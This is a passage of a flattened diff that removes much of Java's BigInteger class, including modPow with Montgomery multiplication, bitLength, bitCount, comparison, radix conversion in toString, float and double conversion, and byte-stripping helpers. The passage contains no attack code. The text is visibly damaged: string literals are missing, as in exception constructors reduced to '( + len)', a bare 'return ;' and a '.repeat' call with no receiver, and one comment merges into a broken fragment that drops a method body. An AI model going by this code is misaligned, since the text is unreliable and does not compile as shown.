bitLengthForInt(a[0]); - - // If shift can be done without recopy, do so - if (n <= (32-bitsInHighWord)) { - primitiveLeftShift(a, len, nBits); - return a; - } else { // Array must be resized - if (nBits <= (32-bitsInHighWord)) { - int result[] = new int[nInts+len]; - System.arraycopy(a, 0, result, 0, len); - primitiveLeftShift(result, result.length, nBits); - return result; - } else { - int result[] = new int[nInts+len+1]; - System.arraycopy(a, 0, result, 0, len); - primitiveRightShift(result, result.length, 32 - nBits); - return result; - } - } - } - - // shifts a up to len right n bits assumes no leading zeros, 0>>= n; - } - - // shifts a up to len left n bits assumes no leading zeros, 0<=n<32 - static void primitiveLeftShift(int[] a, int len, int n) { - if (len == 0 || n == 0) - return; - Objects.checkFromToIndex(0, len, a.length); - shiftLeftImplWorker(a, a, 0, n, len-1); - a[len-1] <<= n; - } - - /** - * Calculate bitlength of contents of the first len elements an int array, - * assuming there are no leading zero ints. - */ - private static int bitLength(int[] val, int len) { - if (len == 0) - return 0; - return ((len - 1) << 5) + bitLengthForInt(val[0]); - } - - /** - * Returns a BigInteger whose value is the absolute value of this - * BigInteger. - * - * @return {@code abs(this)} - */ - public BigInteger abs() { - return (signum >= 0 ? this : this.negate()); - } - - /** - * Returns a BigInteger whose value is {@code (-this)}. - * - * @return {@code -this} - */ - public BigInteger negate() { - return new BigInteger(this.mag, -this.signum); - } - - /** - * Returns the signum function of this BigInteger. - * - * @return -1, 0 or 1 as the value of this BigInteger is negative, zero or - * positive. - */ - public int signum() { - return this.signum; - } - - // Modular Arithmetic Operations - - /** - * Returns a BigInteger whose value is {@code (this mod m}). This method - * differs from {@code remainder} in that it always returns a - * non-negative BigInteger. - * - * @param m the modulus. - * @return {@code this mod m} - * @throws ArithmeticException {@code m} ≤ 0 - * @see #remainder - */ - public BigInteger mod(BigInteger m) { - if (m.signum <= 0) - throw new ArithmeticException(); - - BigInteger result = this.remainder(m); - return (result.signum >= 0 ? result : result.add(m)); - } - - /** - * Returns a BigInteger whose value is - * (thisexponent mod m). (Unlike {@code pow}, this - * method permits negative exponents.) - * - * @param exponent the exponent. - * @param m the modulus. - * @return thisexponent mod m - * @throws ArithmeticException {@code m} ≤ 0 or the exponent is - * negative and this BigInteger is not relatively - * prime to {@code m}. - * @see #modInverse - */ - public BigInteger modPow(BigInteger exponent, BigInteger m) { - if (m.signum <= 0) - throw new ArithmeticException(); - - // Trivial cases - if (exponent.signum == 0) - return (m.equals(ONE) ? ZERO : ONE); - - if (this.equals(ONE)) - return (m.equals(ONE) ? ZERO : ONE); - - if (this.equals(ZERO) && exponent.signum >= 0) - return ZERO; - - if (this.equals(negConst[1]) && (!exponent.testBit(0))) - return (m.equals(ONE) ? ZERO : ONE); - - boolean invertResult; - if ((invertResult = (exponent.signum < 0))) - exponent = exponent.negate(); - - BigInteger base = (this.signum < 0 || this.compareTo(m) >= 0 - ? this.mod(m) : this); - BigInteger result; - if (m.testBit(0)) { // odd modulus - result = base.oddModPow(exponent, m); - } else { - /* - * Even modulus. Tear it into an (m1) and power of two - * (m2), exponentiate mod m1, manually exponentiate mod m2, and - * use Chinese Remainder Theorem to combine results. - */ - - // Tear m apart into odd part (m1) and power of 2 (m2) - int p = m.getLowestSetBit(); // Max pow of 2 that divides m - - BigInteger m1 = m.shiftRight(p); // m/2**p - BigInteger m2 = ONE.shiftLeft(p); // 2**p - - // Calculate new base from m1 - BigInteger base2 = (this.signum < 0 || this.compareTo(m1) >= 0 - ? this.mod(m1) : this); - - // Calculate (base ** exponent) mod m1. - BigInteger a1 = (m1.equals(ONE) ? ZERO : - base2.oddModPow(exponent, m1)); - - // Calculate (this ** exponent) mod m2 - BigInteger a2 = base.modPow2(exponent, p); - - // Combine results using Chinese Remainder Theorem - BigInteger y1 = m2.modInverse(m1); - BigInteger y2 = m1.modInverse(m2); - - if (m.mag.length < MAX_MAG_LENGTH / 2) { - result = a1.multiply(m2).multiply(y1).add(a2.multiply(m1).multiply(y2)).mod(m); - } else { - MutableBigInteger t1 = new MutableBigInteger(); - new MutableBigInteger(a1.multiply(m2)).multiply(new MutableBigInteger(y1), t1); - MutableBigInteger t2 = new MutableBigInteger(); - new MutableBigInteger(a2.multiply(m1)).multiply(new MutableBigInteger(y2), t2); - t1.add(t2); - MutableBigInteger q = new MutableBigInteger(); - result = t1.divide(new MutableBigInteger(m), q).toBigInteger(); - } - } - - return (invertResult ? result.modInverse(m) : result); - } - - // Montgomery multiplication. These are wrappers for - // implMontgomeryXX routines which are expected to be replaced by - // virtual machine intrinsics. We don't use the intrinsics for - // very large operands: MONTGOMERY_INTRINSIC_THRESHOLD should be - // larger than any reasonable crypto key. - private static int[] montgomeryMultiply(int[] a, int[] b, int[] n, int len, long inv, - int[] product) { - implMontgomeryMultiplyChecks(a, b, n, len, product); - if (len > MONTGOMERY_INTRINSIC_THRESHOLD) { - // Very long argument: do not use an intrinsic - product = multiplyToLen(a, len, b, len, product); - return montReduce(product, n, len, (int)inv); - } else { - return implMontgomeryMultiply(a, b, n, len, inv, materialize(product, len)); - } - } - private static int[] montgomerySquare(int[] a, int[] n, int len, long inv, - int[] product) { - implMontgomeryMultiplyChecks(a, a, n, len, product); - if (len > MONTGOMERY_INTRINSIC_THRESHOLD) { - // Very long argument: do not use an intrinsic - product = squareToLen(a, len, product); - return montReduce(product, n, len, (int)inv); - } else { - return implMontgomerySquare(a, n, len, inv, materialize(product, len)); - } - } - - // Range-check everything. - private static void implMontgomeryMultiplyChecks - (int[] a, int[] b, int[] n, int len, int[] product) throws RuntimeException { - if (len % 2 != 0) { - throw new IllegalArgumentException( + len); - } - - if (len < 1) { - throw new IllegalArgumentException( + len); - } - - if (len > a.length || - len > b.length || - len > n.length || - (product != null && len > product.length)) { - throw new IllegalArgumentException( + len); - } - } - - // Make sure that the int array z (which is expected to contain - // the result of a Montgomery multiplication) is present and - // sufficiently large. - private static int[] materialize(int[] z, int len) { - if (z == null || z.length < len) - z = new int[len]; - return z; - } - - // These methods are intended to be replaced by virtual machine - // intrinsics. - @IntrinsicCandidate - private static int[] implMontgomeryMultiply(int[] a, int[] b, int[] n, int len, - long inv, int[] product) { - product = multiplyToLen(a, len, b, len, product); - return montReduce(product, n, len, (int)inv); - } - @IntrinsicCandidate - private static int[] implMontgomerySquare(int[] a, int[] n, int len, - long inv, int[] product) { - product = squareToLen(a, len, product); - return montReduce(product, n, len, (int)inv); - } - - static int[] bnExpModThreshTable = {7, 25, 81, 241, 673, 1793, - Integer.MAX_VALUE}; // Sentinel - - public int getLowestSetBit() { - int lsb = lowestSetBitPlusTwo - 2; - if (lsb == -2) { // lowestSetBit not initialized yet - lsb = 0; - if (signum == 0) { - lsb -= 1; - } else { - // Search for lowest order nonzero int - int i,b; - for (i=0; (b = getInt(i)) == 0; i++) - ; - lsb += (i << 5) + Integer.numberOfTrailingZeros(b); - } - lowestSetBitPlusTwo = lsb + 2; - } - return lsb; - } - - - // Miscellaneous Bit Operations - - /** - * Returns the number of bits in the minimal two's-complement - * representation of this BigInteger, excluding a sign bit. - * For positive BigIntegers, this is equivalent to the number of bits in - * the ordinary binary representation. For zero this method returns - * {@code 0}. (Computes {@code (ceil(log2(this < 0 ? -this : this+1)))}.) - * - * @return number of bits in the minimal two's-complement - * representation of this BigInteger, excluding a sign bit. - */ - public int bitLength() { - int n = bitLengthPlusOne - 1; - if (n == -1) { // bitLength not initialized yet - int[] m = mag; - int len = m.length; - if (len == 0) { - n = 0; // offset by one to initialize - } else { - // Calculate the bit length of the magnitude - int magBitLength = ((len - 1) << 5) + bitLengthForInt(mag[0]); - if (signum < 0) { - // Check if magnitude is a power of two - boolean pow2 = (Integer.bitCount(mag[0]) == 1); - for (int i=1; i< len && pow2; i++) - pow2 = (mag[i] == 0); - - n = (pow2 ? magBitLength - 1 : magBitLength); - } else { - n = magBitLength; - } - } - bitLengthPlusOne = n + 1; - } - return n; - } - - /** - * Returns the number of bits in the two's complement representation - * of this BigInteger that differ from its sign bit. This method is - * useful when implementing bit-vector style sets atop BigIntegers. - * - * @return number of bits in the two's complement representation - * of this BigInteger that differ from its sign bit. - */ - public int bitCount() { - int bc = bitCountPlusOne - 1; - if (bc == -1) { // bitCount not initialized yet - bc = 0; // offset by one to initialize - // Count the bits in the magnitude - for (int i=0; i < mag.length; i++) - bc += Integer.bitCount(mag[i]); - if (signum < 0) { - // Count the trailing zeros in the magnitude - int magTrailingZeroCount = 0, j; - for (j=mag.length-1; mag[j] == 0; j--) - magTrailingZeroCount += 32; - magTrailingZeroCount += Integer.numberOfTrailingZeros(mag[j]); - bc += magTrailingZeroCount - 1; - } - bitCountPlusOne = bc + 1; - } - return bc; - } - - // Primality Testing - - /** - * Returns {@code true} if this BigInteger is probably prime, - * {@code false} if it's definitely composite. If - * {@code certainty} is ≤ 0, {@code true} is - * returned. - * - * @param certainty a measure of the uncertainty that the caller is - * willing to tolerate: if the call returns {@code true} - * the probability that this BigInteger is prime exceeds - * (1 - 1/2{@code certainty}). The execution time of - * this method is proportional to the value of this parameter. - * @return {@code true} if this BigInteger is probably prime, - * {@code false} if it's definitely composite. - * @throws ArithmeticException {@code this} is too large. - * @implNote Due to the nature of the underlying primality test algorithm, - * and depending on the size of {@code this} and {@code certainty}, - * this method could consume a large amount of memory, up to - * exhaustion of available heap space, or could run for a long time. - */ - public boolean isProbablePrime(int certainty) { - if (certainty <= 0) - return true; - BigInteger w = this.abs(); - if (w.equals(TWO)) - return true; - if (!w.testBit(0) || w.equals(ONE)) - return false; - if (w.bitLength() > PRIME_SEARCH_BIT_LENGTH_LIMIT + 1) { - throw new ArithmeticException(); - } - return w.primeToCertainty(certainty, null); - } - - // Comparison Operations - - /** - * Compares this BigInteger with the specified BigInteger. This - * method is provided in preference to individual methods for each - * of the six boolean comparison operators ({@literal <}, ==, - * {@literal >}, {@literal >=}, !=, {@literal <=}). The suggested - * idiom for performing these comparisons is: {@code - * (x.compareTo(y)} <op> {@code 0)}, where - * <op> is one of the six comparison operators. - * - * @param val BigInteger to which this BigInteger is to be compared. - * @return -1, 0 or 1 as this BigInteger is numerically less than, equal - * to, or greater than {@code val}. - */ - public int compareTo(BigInteger val) { - if (signum == val.signum) { - return switch (signum) { - case 1 -> compareMagnitude(val); - case -1 -> val.compareMagnitude(this); - default -> 0; - }; - } - return signum > val.signum ? 1 : -1; - } - - /** - * Compares the magnitude array of this BigInteger with the specified - * BigInteger's. This is the version of compareTo ignoring sign. - * - * @param val BigInteger whose magnitude array to be compared. - * @return -1, 0 or 1 as this magnitude array is less than, equal to or - * greater than the magnitude array for the specified BigInteger's. - */ - final int compareMagnitude(BigInteger val) { - int[] m1 = mag; - int len1 = m1.length; - int[] m2 = val.mag; - int len2 = m2.length; - if (len1 < len2) - return -1; - if (len1 > len2) - return 1; - for (int i = 0; i < len1; i++) { - int a = m1[i]; - int b = m2[i]; - if (a != b) - return ((a & LONG_MASK) < (b & LONG_MASK)) ? -1 : 1; - } - return 0; - } - - /** - * Version of compareMagnitude that compares magnitude with long value. - * val can't be Long.MIN_VALUE. - */ - final int compareMagnitude(long val) { - assert val != Long.MIN_VALUE; - int[] m1 = mag; - int len = m1.length; - if (len > 2) { - return 1; - } - if (val < 0) { - val = -val; - } - int highWord = (int)(val >>> 32); - if (highWord == 0) { - if (len < 1) - return -1; - if (len > 1) - return 1; - int a = m1[0]; - int b = (int)val; - if (a != b) { - return ((a & LONG_MASK) < (b & LONG_MASK))? -1 : 1; - } - return 0; - } else { - if (len < 2) - return -1; - int a = m1[0]; - int b = highWord; - if (a != b) { - return ((a & LONG_MASK) < (b & LONG_MASK))? -1 : 1; - } - a = m1[1]; - b = (int)val; - if (a != b) { - return ((a & LONG_MASK) < (b & LONG_MASK))? -1 : 1; - } - return 0; - } - } - - /** - * Compares this BigInteger with the specified Object for equality. - * - * @param x Object to which this BigInteger is to be compared. - * @return {@code true} if and only if the specified Object is a - * BigInteger whose value is numerically equal to this BigInteger. - */ - public boolean equals(Object x) { - // This test is just an optimization, which may or may not help - if (x == this) - return true; - - if (!(x instanceof BigInteger xInt)) - return false; - - if (xInt.signum != signum) - return false; - - int[] m = mag; - int len = m.length; - int[] xm = xInt.mag; - if (len != xm.length) - return false; - - for (int i = 0; i < len; i++) - if (xm[i] != m[i]) - return false; - - return true; - } - - /** - * Returns the minimum of this BigInteger and {@code val}. - * - * @param val value with which the minimum is to be computed. - * @return the BigInteger whose value is the lesser of this BigInteger and - * {@code val}. If they are equal, either may be returned. - */ - public BigInteger min(BigInteger val) { - return (compareTo(val) < 0 ? this : val); - } - - /** - * Returns the maximum of this BigInteger and {@code val}. - * - * @param val value with which the maximum is to be computed. - * @return the BigInteger whose value is the greater of this and - * {@code val}. If they are equal, either may be returned. - */ - public BigInteger max(BigInteger val) { - return (compareTo(val) > 0 ? this : val); - } - - - // Hash Function - - /** - * Returns the hash code for this BigInteger. - * - * @return hash code for this BigInteger. - */ - public int hashCode() { - int hashCode = 0; - - for (int i=0; i < mag.length; i++) - hashCode = (int)(31*hashCode + (mag[i] & LONG_MASK)); - - return hashCode * signum; - } - - /** - * Returns the String representation of this BigInteger in the - * given radix. If the radix is outside the range from {@link - * Character#MIN_RADIX} to {@link Character#MAX_RADIX} inclusive, - * it will default to 10 (as is the case for - * {@code Integer.toString}). The digit-to-character mapping - * provided by {@code Character.forDigit} is used, and a minus - * sign is prepended if appropriate. (This representation is - * compatible with the {@link #BigInteger(String, int) (String, - * int)} constructor.) - * - * @param radix radix of the String representation. - * @return String representation of this BigInteger in the given radix. - * @see Integer#toString - * @see Character#forDigit - * @see #BigInteger(java.lang.String, int) - */ - public String toString(int radix) { - if (signum == 0) - return ; - if (radix < Character.MIN_RADIX || radix > Character.MAX_RADIX) - radix = 10; - - BigInteger abs = this.abs(); - - // Ensure buffer capacity sufficient to contain string representation - // floor(bitLength*log(2)/log(radix)) + 1 - // plus an additional character for the sign if negative. - int b = abs.bitLength(); - int numChars = (int)(Math.floor(b*LOG_TWO/logCache[radix]) + 1) + - (signum < 0 ? 1 : 0); - StringBuilder sb = new StringBuilder(numChars); - - if (signum < 0) { - sb.append('-'); - } - - // Use recursive toString. - toString(abs, sb, radix, 0); - - return sb.toString(); - } - - /** - * If {@code numZeros > 0}, appends that many zeros to the - * specified StringBuilder; otherwise, does nothing. - * - * @param buf The StringBuilder that will be appended to. - * @param numZeros The number of zeros to append. - */ - private static void padWithZeros(StringBuilder buf, int numZeros) { - while (numZeros >= NUM_ZEROS) { - buf.append(ZEROS); - numZeros -= NUM_ZEROS; - } - if (numZeros > 0) { - buf.append(ZEROS, 0, numZeros); - } - } - - /** - * This method is used to perform toString when arguments are small. - * The value must be non-negative. If {@code digits <= 0} no padding - * (pre-pending with zeros) will be effected. - * - * @param radix The base to convert to. - * @param buf The StringBuilder that will be appended to in place. - * @param digits The minimum number of digits to pad to. - */ - private void smallToString(int radix, StringBuilder buf, int digits) { - assert signum >= 0; - - if (signum == 0) { - padWithZeros(buf, digits); - return; - } - - // Compute upper bound on number of digit groups and allocate space - int maxNumDigitGroups = (4*mag.length + 6)/7; - long[] digitGroups = new long[maxNumDigitGroups]; - - // Translate number to string, a digit group at a time - BigInteger tmp = this; - int numGroups = 0; - while (tmp.signum != 0) { - BigInteger d = longRadix[radix]; - - MutableBigInteger q = new MutableBigInteger(), - a = new MutableBigInteger(tmp.mag), - b = new MutableBigInteger(d.mag); - MutableBigInteger r = a.divide(b, q); - BigInteger q2 = q.toBigInteger(tmp.signum * d.signum); - BigInteger r2 = r.toBigInteger(tmp.signum * d.signum); - - digitGroups[numGroups++] = r2.longValue(); - tmp = q2; - } - - // Get string version of first digit group - String s = Long.toString(digitGroups[numGroups-1], radix); - - // Pad with internal zeros if necessary. - padWithZeros(buf, digits - (s.length() + - (numGroups - 1)*digitsPerLong[radix])); - - // Put first digit group into result buffer - buf.append(s); - - // Append remaining digit groups each padded with leading zeros - for (int i=numGroups-2; i >= 0; i--) { - // Prepend (any) leading zeros for this digit group - s = Long.toString(digitGroups[i], radix); - int numLeadingZeros = digitsPerLong[radix] - s.length(); - if (numLeadingZeros != 0) { - buf.append(ZEROS, 0, numLeadingZeros); - } - buf.append(s); - } - } - - /** - * Converts the specified BigInteger to a string and appends to - * {@code sb}. This implements the recursive Schoenhage algorithm - * for base conversions. This method can only be called for non-negative - * numbers. - *

- * See Knuth, Donald, _The Art of Computer Programming_, Vol. 2, - * Answers to Exercises (4.4) Question 14. - * - * @param u The number to convert to a string. - * @param sb The StringBuilder that will be appended to in place. - * @param radix The base to convert to. - * @param digits The minimum number of digits to pad to. - */ - private static void toString(BigInteger u, StringBuilder sb, - int radix, int digits) { - assert u.signum() >= 0; - - // If we're smaller than a certain threshold, use the smallToString - // method, padding with leading zeroes when necessary unless we're - // at the beginning of the string or digits <= 0. As u.signum() >= 0, - // smallToString() will not prepend a negative sign. - if (u.mag.length <= SCHOENHAGE_BASE_CONVERSION_THRESHOLD) { - u.smallToString(radix, sb, digits); - return; - } - - // Calculate a value for n in the equation radix^(2^n) = u - // and subtract 1 from that value. This is used to find the - // cache index that contains the best value to divide u. - int b = u.bitLength(); - int n = (int) Math.round(Math.log(b * LOG_TWO / logCache[radix]) / - LOG_TWO - 1.0); - - BigInteger v = getRadixConversionCache(radix, n); - BigInteger[] results; - results = u.divideAndRemainder(v); - - int expectedDigits = 1 << n; - - // Now recursively build the two halves of each number. - toString(results[0], sb, radix, digits - expectedDigits); - toString(results[1], sb, radix, expectedDigits); - } - - /** - * Returns the value radix^(2^exponent) from the cache. - * If this value doesn't already exist in the cache, it is added. - *

- * This could be changed to a more complicated caching method using - * {@code Future}. - */ - private static BigInteger getRadixConversionCache(int radix, int exponent) { - BigInteger[] cacheLine = powerCache[radix]; // volatile read - if (exponent < cacheLine.length) { - return cacheLine[exponent]; - } - - int oldLength = cacheLine.length; - cacheLine = Arrays.copyOf(cacheLine, exponent + 1); - for (int i = oldLength; i <= exponent; i++) { - cacheLine[i] = cacheLine[i - 1].pow(2); - } - - BigInteger[][] pc = powerCache; // volatile read again - if (exponent >= pc[radix].length) { - pc = pc.clone(); - pc[radix] = cacheLine; - powerCache = pc; // volatile write, publish - } - return cacheLine[exponent]; - } - - /* Size of ZEROS string. */ - private static int NUM_ZEROS = 63; - - /* ZEROS is a string of NUM_ZEROS consecutive zeros. */ - private static final String ZEROS = .repeat(NUM_ZEROS); - - /** - * Returns the decimal String representation of this BigInteger. - * The digit-to-character mapping provided by - * {@code Character.forDigit} is used, and a minus sign is - * prepended if appropriate. (This representation is compatible - * with the {@link #BigInteger(String) (String)} constructor, and - * allows for String concatenation with Java's + operator.) - * - * @return decimal String representation of this BigInteger. - * @see Character#forDigit - * @see #BigInteger(java.lang.String) - */ - public String toString() { - return toString(10); - } - - /** - * Returns a byte array containing the two's-complement - * representation of this BigInteger. The byte array will be in - * big-endian byte-order: the most significant byte is in - * the zeroth element. The array will contain the minimum number - * of bytes required to represent this BigInteger, including at - * least one sign bit, which is {@code (ceil((this.bitLength() + - * 1)/8))}. (This representation is compatible with the - * {@link #BigInteger(byte[]) (byte[])} constructor.) - * - * @return a byte array containing the two's-complement representation of - * this BigInteger. - * @see #BigInteger(byte[]) - */ - public byte[] toByteArray() { - int byteLen = bitLength()/8 + 1; - byte[] byteArray = new byte[byteLen]; - - for (int i=byteLen-1, bytesCopied=4, nextInt=0, intIndex=0; i >= 0; i--) { - if (bytesCopied == 4) { - nextInt = getInt(intIndex++); - bytesCopied = 1; - } else { - nextInt >>>= 8; - bytesCopied++; - } - byteArray[i] = (byte)nextInt; - } - return byteArray; - } - - /** - * Converts this BigInteger to an {@code int}. This - * conversion is analogous to a - * narrowing primitive conversion from {@code long} to - * {@code int} as defined in - * The Java Language Specification: - * if this BigInteger is too big to fit in an - * {@code int}, only the low-order 32 bits are returned. - * Note that this conversion can lose information about the - * overall magnitude of the BigInteger value as well as return a - * result with the opposite sign. - * - * @return this BigInteger converted to an {@code int}. - * @see #intValueExact() - * @jls 5.1.3 Narrowing Primitive Conversion - */ - public int intValue() { - int result = 0; - result = getInt(0); - return result; - } - - /** - * Converts this BigInteger to a {@code long}. This - * conversion is analogous to a - * narrowing primitive conversion from {@code long} to - * {@code int} as defined in - * The Java Language Specification: - * if this BigInteger is too big to fit in a - * {@code long}, only the low-order 64 bits are returned. - * Note that this conversion can lose information about the - * overall magnitude of the BigInteger value as well as return a - * result with the opposite sign. - * - * @return this BigInteger converted to a {@code long}. - * @see #longValueExact() - * @jls 5.1.3 Narrowing Primitive Conversion - */ - public long longValue() { - long result = 0; - - for (int i=1; i >= 0; i--) - result = (result << 32) + (getInt(i) & LONG_MASK); - return result; - } - - /** - * Converts this BigInteger to a {@code float}. This - * conversion is similar to the - * narrowing primitive conversion from {@code double} to - * {@code float} as defined in - * The Java Language Specification: - * if this BigInteger has too great a magnitude - * to represent as a {@code float}, it will be converted to - * {@link Float#NEGATIVE_INFINITY} or {@link - * Float#POSITIVE_INFINITY} as appropriate. Note that even when - * the return value is finite, this conversion can lose - * information about the precision of the BigInteger value. - * - * @return this BigInteger converted to a {@code float}. - * @jls 5.1.3 Narrowing Primitive Conversion - */ - public float floatValue() { - if (signum == 0) { - return 0.0f; - } - - int exponent = ((mag.length - 1) << 5) + bitLengthForInt(mag[0]) - 1; - - // exponent == floor(log2(abs(this))) - if (exponent < Long.SIZE - 1) { - return longValue(); - } else if (exponent > Float.MAX_EXPONENT) { - return signum > 0 ? Float.POSITIVE_INFINITY : Float.NEGATIVE_INFINITY; - } - - /* - * We need the top SIGNIFICAND_WIDTH bits, including the - * one bit. To make rounding easier, we pick out the top - * SIGNIFICAND_WIDTH + 1 bits, so we have one to help us round up or - * down. twiceSignifFloor will contain the top SIGNIFICAND_WIDTH + 1 - * bits, and signifFloor the top SIGNIFICAND_WIDTH. - * - * It helps to consider the real number signif = abs(this) * - * 2^(SIGNIFICAND_WIDTH - 1 - exponent). - */ - int shift = exponent - FloatConsts.SIGNIFICAND_WIDTH; - - int twiceSignifFloor; - // twiceSignifFloor will be == abs().shiftRight(shift).intValue() - // We do the shift into an int directly to improve performance. - - int nBits = shift & 0x1f; - int nBits2 = 32 - nBits; - - if (nBits == 0) { - twiceSignifFloor = mag[0]; - } else { - twiceSignifFloor = mag[0] >>> nBits; - if (twiceSignifFloor == 0) { - twiceSignifFloor = (mag[0] << nBits2) | (mag[1] >>> nBits); - } - } - - int signifFloor = twiceSignifFloor >> 1; - signifFloor &= FloatConsts.SIGNIF_BIT_MASK; // remove the implied bit - - /* - * We round up if either the fractional part of signif is strictly - * greater than 0.5 (which is true if the 0.5 bit is set and any lower - * bit is set), or if the fractional part of signif is >= 0.5 and - * signifFloor is odd (which is true if both the 0.5 bit and the 1 bit - * are set). This is equivalent to the desired HALF_EVEN rounding. - */ - boolean increment = (twiceSignifFloor & 1) != 0 - && ((signifFloor & 1) != 0 || abs().getLowestSetBit() < shift); - int signifRounded = increment ? signifFloor + 1 : signifFloor; - int bits = ((exponent + FloatConsts.EXP_BIAS)) - << (FloatConsts.SIGNIFICAND_WIDTH - 1); - bits += signifRounded; - /* - * If signifRounded == 2^24, we'd need to set all of the significand - * bits to zero and add 1 to the exponent. This is exactly the behavior - * we get from just adding signifRounded to bits directly. If the - * exponent is Float.MAX_EXPONENT, we round up (correctly) to - * Float.POSITIVE_INFINITY. - */ - bits |= signum & FloatConsts.SIGN_BIT_MASK; - return Float.intBitsToFloat(bits); - } - - /** - * Converts this BigInteger to a {@code double}. This - * conversion is similar to the - * narrowing primitive conversion from {@code double} to - * {@code float} as defined in - * The Java Language Specification: - * if this BigInteger has too great a magnitude - * to represent as a {@code double}, it will be converted to - * {@link Double#NEGATIVE_INFINITY} or {@link - * Double#POSITIVE_INFINITY} as appropriate. Note that even when - * the return value is finite, this conversion can lose - * information about the precision of the BigInteger value. - * - * @return this BigInteger converted to a {@code double}. - * @jls 5.1.3 Narrowing Primitive Conversion - */ - public double doubleValue() { - if (signum == 0) { - return 0.0; - } - - int exponent = ((mag.length - 1) << 5) + bitLengthForInt(mag[0]) - 1; - - // exponent == floor(log2(abs(this))Double) - if (exponent < Long.SIZE - 1) { - return longValue(); - } else if (exponent > Double.MAX_EXPONENT) { - return signum > 0 ? Double.POSITIVE_INFINITY : Double.NEGATIVE_INFINITY; - } - - /* - * We need the top SIGNIFICAND_WIDTH bits, including the - * one bit. To make rounding easier, we pick out the top - * SIGNIFICAND_WIDTH + 1 bits, so we have one to help us round up or - * down. twiceSignifFloor will contain the top SIGNIFICAND_WIDTH + 1 - * bits, and signifFloor the top SIGNIFICAND_WIDTH. - * - * It helps to consider the real number signif = abs(this) * - * 2^(SIGNIFICAND_WIDTH - 1 - exponent). - */ - int shift = exponent - DoubleConsts.SIGNIFICAND_WIDTH; - - long twiceSignifFloor; - // twiceSignifFloor will be == abs().shiftRight(shift).longValue() - // We do the shift into a long directly to improve performance. - - int nBits = shift & 0x1f; - int nBits2 = 32 - nBits; - - int highBits; - int lowBits; - if (nBits == 0) { - highBits = mag[0]; - lowBits = mag[1]; - } else { - highBits = mag[0] >>> nBits; - lowBits = (mag[0] << nBits2) | (mag[1] >>> nBits); - if (highBits == 0) { - highBits = lowBits; - lowBits = (mag[1] << nBits2) | (mag[2] >>> nBits); - } - } - - twiceSignifFloor = ((highBits & LONG_MASK) << 32) - | (lowBits & LONG_MASK); - - long signifFloor = twiceSignifFloor >> 1; - signifFloor &= DoubleConsts.SIGNIF_BIT_MASK; // remove the implied bit - - /* - * We round up if either the fractional part of signif is strictly - * greater than 0.5 (which is true if the 0.5 bit is set and any lower - * bit is set), or if the fractional part of signif is >= 0.5 and - * signifFloor is odd (which is true if both the 0.5 bit and the 1 bit - * are set). This is equivalent to the desired HALF_EVEN rounding. - */ - boolean increment = (twiceSignifFloor & 1) != 0 - && ((signifFloor & 1) != 0 || abs().getLowestSetBit() < shift); - long signifRounded = increment ? signifFloor + 1 : signifFloor; - long bits = (long) ((exponent + DoubleConsts.EXP_BIAS)) - << (DoubleConsts.SIGNIFICAND_WIDTH - 1); - bits += signifRounded; - /* - * If signifRounded == 2^53, we'd need to set all of the significand - * bits to zero and add 1 to the exponent. This is exactly the behavior - * we get from just adding signifRounded to bits directly. If the - * exponent is Double.MAX_EXPONENT, we round up (correctly) to - * Double.POSITIVE_INFINITY. - */ - bits |= signum & DoubleConsts.SIGN_BIT_MASK; - return Double.longBitsToDouble(bits); - } - - /** - * Returns a copy of the input array stripped of any leading zero bytes. - */ - private static int[] stripLeadingZeroInts(int[] val) { - int vlen = val.length; - int keep; - - // Find first nonzero byte - for (keep = 0; keep < vlen && val[keep] == 0; keep++) - ; - return java.util.Arrays.copyOfRange(val, keep, vlen); - } - - /** - * Returns the input array stripped of any leading zero bytes. - * Since the source is trusted the copying may be skipped. - */ - private static int[] trustedStripLeadingZeroInts(int[] val) { - int vlen = val.length; - int keep; - - // Find first nonzero byte - for (keep = 0; keep < vlen && val[keep] == 0; keep++) - ; - return keep == 0 ? val : java.util.Arrays.copyOfRange(val, keep, vlen); - } - - private static int[] stripLeadingZeroBytes(byte[] a, int from, int len) { - return stripLeadingZeroBytes(Integer.MIN_VALUE, a, from, len); - } - - /* - * Returns a copy of the input array stripped of any leading zero bytes. - * The returned array is either empty, or its 0-th element is non-zero, - * meeting the requirement for field mag (see comment on mag). - * - * The range [from, from + len) must be well-formed w.r.t. array a. - * - * b < -128 means that a[from] has not yet been read. - * Otherwise, b must be a[from], have been read only once before invoking - * this method, and len > 0 must hold. - */ - private static int[] stripLeadingZeroBytes(int b, byte[] a, int from, int len) { - /* - * Except for the first byte, each read access to the input array a - * is of the form a[from++]. - * The index from is never otherwise altered, except right below, - * and only increases in steps of 1, always up to index to. - * Hence, each byte in the array is read exactly once, from lower to - * higher indices (from most to least significant byte). - */ - if (len == 0) { - return ZERO.mag; - } - int to = from + len; - if (b < -128) { - b = a[from]; - } - /* Either way, a[from] has now been read exactly once, skip to next. */ - ++from; - /* - * Set up the shortest int[] for the sequence of the bytes - * b, a[from+1], ..., a[to-1] (len > 0) - * Shortest means first skipping leading zeros. - */ - for (; b == 0 && from < to; b = a[from++]) - ; //empty body - if (b == 0) { - /* Here, from == to as well. All bytes are zeros. */ - return ZERO.mag; - } - /* - * Allocate just enough ints to hold (to - from + 1) bytes, that is - * ((to - from + 1) + 3) / 4 = (to - from) / 4 + 1 - */ - int[] res = new int[((to - from) >> 2) + 1]; - /* - * A is a group of 4 adjacent bytes aligned w.r.t. index to. - * (Implied 0 bytes are prepended as needed.) - * b is the most significant byte not 0. - * Digit d0 spans the range of indices that includes current (from - 1). - */ - int d0 = b & 0xFF; - while (((to - from) & 0x3) != 0) { - d0 = d0 << 8 | a[from++] & 0xFF; - } - res[0] = d0; - /* - * Prepare the remaining digits. - * (to - from) is a multiple of 4, so prepare an int for every 4 bytes. - * This is a candidate for Unsafe.copy[Swap]Memory(). - */ - int i = 1; - while (from < to) { - res[i++] = a[from++] << 24 | (a[from++] & 0xFF) << 16 - | (a[from++] & 0xFF) << 8 | (a[from++] & 0xFF); - } - return res; - } - - /* - * Takes an array a representing a negative 2's-complement number and - * returns the minimal (no leading zero bytes) unsigned whose value is -a. - * - * len > 0 must hold. - * The range [from, from + len) must be well-formed w.r.t. array a. - * b is assumed to be the result of reading a[from] and to meet b < 0. - */ - private static int[] makePositive(int b, byte[] a, int from, int len) { - /* - * By assumption, b == a[from] < 0 and len > 0. - * - * First collect the bytes into the resulting array res. - * Then convert res to two's complement. - * - * Except for b == a[from], each read access to the input array a - * is of the form a[from++]. - * The index from is never otherwise altered, except right below, - * and only increases in steps of 1, always up to index to. - * Hence, each byte in the array is read exactly once, from lower to - * higher indices (from most to least significant byte). - */ - int to = from + len; - /* b == a[from] has 